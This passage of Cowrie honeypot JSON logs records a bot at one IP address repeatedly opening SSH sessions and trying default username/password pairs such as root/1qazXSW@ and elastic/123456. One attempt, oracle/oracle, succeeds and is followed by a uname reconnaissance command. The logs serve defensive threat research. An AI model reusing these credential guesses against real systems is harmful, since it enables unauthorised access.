rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:31.580350Z","src_ip":"45.156.87.254","session":"cbe4d73a2b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:31.859729Z","src_ip":"45.156.87.254","session":"cbe4d73a2b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:32.950708Z","src_ip":"45.156.87.254","session":"cbe4d73a2b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55220,"dst_ip":"159.203.135.109","dst_port":22,"session":"e59facdd22aa","protocol":"ssh","message":"New connection: 45.156.87.254:55220 (159.203.135.109:22) [session: e59facdd22aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:37.018919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:37.023986Z","src_ip":"45.156.87.254","session":"e59facdd22aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:37.106683Z","src_ip":"45.156.87.254","session":"e59facdd22aa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:37.614509Z","src_ip":"45.156.87.254","session":"e59facdd22aa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:37.831578Z","src_ip":"45.156.87.254","session":"e59facdd22aa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:37.835067Z","src_ip":"45.156.87.254","session":"e59facdd22aa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:37.922801Z","src_ip":"45.156.87.254","session":"e59facdd22aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:37.928454Z","src_ip":"45.156.87.254","session":"e59facdd22aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49192,"dst_ip":"159.203.135.109","dst_port":22,"session":"92c6893015a3","protocol":"ssh","message":"New connection: 45.156.87.254:49192 (159.203.135.109:22) [session: 92c6893015a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:42.204915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:42.292857Z","src_ip":"45.156.87.254","session":"92c6893015a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:42.297966Z","src_ip":"45.156.87.254","session":"92c6893015a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:42.726888Z","src_ip":"45.156.87.254","session":"92c6893015a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:43.817888Z","src_ip":"45.156.87.254","session":"92c6893015a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00354194641113,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:45.933738Z","src_ip":"31.176.138.50","session":"15ac72855859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49202,"dst_ip":"159.203.135.109","dst_port":22,"session":"4788064e8655","protocol":"ssh","message":"New connection: 45.156.87.254:49202 (159.203.135.109:22) [session: 4788064e8655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:47.891711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:47.897279Z","src_ip":"45.156.87.254","session":"4788064e8655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:47.983242Z","src_ip":"45.156.87.254","session":"4788064e8655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:48.238781Z","src_ip":"45.156.87.254","session":"4788064e8655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:49.338175Z","src_ip":"45.156.87.254","session":"4788064e8655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42178,"dst_ip":"159.203.135.109","dst_port":22,"session":"d778de54b734","protocol":"ssh","message":"New connection: 45.156.87.254:42178 (159.203.135.109:22) [session: d778de54b734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:53.044564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:53.079470Z","src_ip":"45.156.87.254","session":"d778de54b734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:53.168294Z","src_ip":"45.156.87.254","session":"d778de54b734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:53.457922Z","src_ip":"45.156.87.254","session":"d778de54b734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:54.543242Z","src_ip":"45.156.87.254","session":"d778de54b734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42184,"dst_ip":"159.203.135.109","dst_port":22,"session":"06434e57f220","protocol":"ssh","message":"New connection: 45.156.87.254:42184 (159.203.135.109:22) [session: 06434e57f220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:58.289750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:58.295010Z","src_ip":"45.156.87.254","session":"06434e57f220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.50863862037659,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:58.300010Z","src_ip":"104.245.105.2","session":"d425cbc09f00","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:58.378762Z","src_ip":"45.156.87.254","session":"06434e57f220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:58.630419Z","src_ip":"45.156.87.254","session":"06434e57f220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:23:59.717289Z","src_ip":"45.156.87.254","session":"06434e57f220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":33964,"dst_ip":"159.203.135.109","dst_port":22,"session":"49a6169f7d44","protocol":"ssh","message":"New connection: 45.156.87.254:33964 (159.203.135.109:22) [session: 49a6169f7d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:03.691478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:03.698469Z","src_ip":"45.156.87.254","session":"49a6169f7d44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:03.784559Z","src_ip":"45.156.87.254","session":"49a6169f7d44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:04.121874Z","src_ip":"45.156.87.254","session":"49a6169f7d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:05.209841Z","src_ip":"45.156.87.254","session":"49a6169f7d44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41162,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ec1ac3b70f2","protocol":"ssh","message":"New connection: 45.156.87.254:41162 (159.203.135.109:22) [session: 9ec1ac3b70f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:08.997060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:09.011355Z","src_ip":"45.156.87.254","session":"9ec1ac3b70f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:09.096320Z","src_ip":"45.156.87.254","session":"9ec1ac3b70f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:09.368693Z","src_ip":"45.156.87.254","session":"9ec1ac3b70f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:10.458271Z","src_ip":"45.156.87.254","session":"9ec1ac3b70f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41176,"dst_ip":"159.203.135.109","dst_port":22,"session":"84d0c0f978cb","protocol":"ssh","message":"New connection: 45.156.87.254:41176 (159.203.135.109:22) [session: 84d0c0f978cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:14.211164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:24:14.222840Z","src_ip":"45.156.87.254","session":"84d0c0f978cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-e